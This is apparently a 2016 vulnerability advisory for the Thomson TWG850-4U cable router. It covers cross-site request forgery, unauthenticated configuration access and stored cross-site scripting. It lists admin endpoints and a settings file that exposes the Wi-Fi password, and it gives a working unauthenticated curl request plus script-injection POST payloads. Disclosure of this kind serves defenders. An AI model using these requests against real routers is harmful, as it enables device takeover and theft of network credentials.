[System Affected] Thomson Router HW Revision 2.0 VENDOR Thomson BOOT Revision 2.1.7i MODEL TWG850-4U Software Version ST9D.01.09 Serial Number 00939902404041 Firmware Name TWG850-4U-9D.01.09-100528-S-001.bin [Vulnerabilities] 1- Cross-Site Request Forgery 2- Unauthenticated access to resources 3- Persistent Cross-Site Scripting [Advisory Timeline] 06-Jan-2016 - Vendor contacted through the website 11-Jan-2016 - Email sent to vendor 09-Mar-2016 - Public Disclosure [Description of Vulnerabilities] 1- Cross-Site Request Forgery An attacker who lures a TWG850-4U user (authenticated or unauthenticated) to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to the wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, the network settings, etc. All the application is vulnerable, for example it is possible to: Change user/password & Factory Reset - http:///goform/RgSecurity Change wireless settings - http:///goform/wlanPrimaryNetwork Restore a backup - http:///goform/RgBackupRestore Enable/Disable Advanced Options - http:///goform/RgOptions Store a XSS - http:///goform/RgTime [PoC for Change user/password] 2- Unauthenticated access to resources It is possible to perform actions within the router configuration without being authenticated; it's only required to know the proper urls and parameters. For example it is possible to: Wireless name and password in plain text - http:///GatewaySettings.bin Restore a backup - http:///goform/RgBackupRestore Change Advanced Options - http:///goform/RgOptions Store a XSS - http:///goform/RgTime Change user/password & Factory Reset - http:///goform/RgSecurity Change Wireless name and password - http:///goform/wlanPrimaryNetwork [PoC for Change Wireless name and password] curl -i -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary $'PrimaryNetworkEnable=1&ServiceSetIdentifier=&ClosedNetwork=0&WpaPskAuth=1&Wpa2PskAuth=1&WpaEncryption=3&WpaPreSharedKey=&ShowWpaKey=0x01&WpaRekeyInterval=0&GenerateWepKeys=0&WepKeysGenerated=0&displayPrimaryROMsg=0&commitwlanPrimaryNetwork=1' 'http:///goform/wlanPrimaryNetwork' 3- Persistent Cross-Site Scripting Two instances of an store Cross-Site scripting were found within the router web interface. - http:///goform/RgTime [TimeServer1 Parameter] - http:///goform/RgTime [TimeServer2 Parameter] - http:///goform/RgTime [TimeServer3 Parameter] - http:///goform/RgUrlBlock [BasicParentalNewKeyword Parameter] [PoC #1] POST /goform/RgTime HTTP/1.1 <..> TimeSntpDisable=2&TimeServer1=clock.via.net&TimeServer2=ntp.nasa.gov&TimeServer3=%22%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&TimeZoneOffsetHrs=0&TimeZoneOffsetMins=0&ResetSntpDefaults= [PoC #2] POST /goform/RgUrlBlock HTTP/1.1 <..> BasicParentalNewKeyword=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&BasicParentalKeywordAction=1&BasicParentalNewDomain=&BasicParentalDomainAction=0 S3ba @s3bap3 http://linkedin.com/in/s3bap3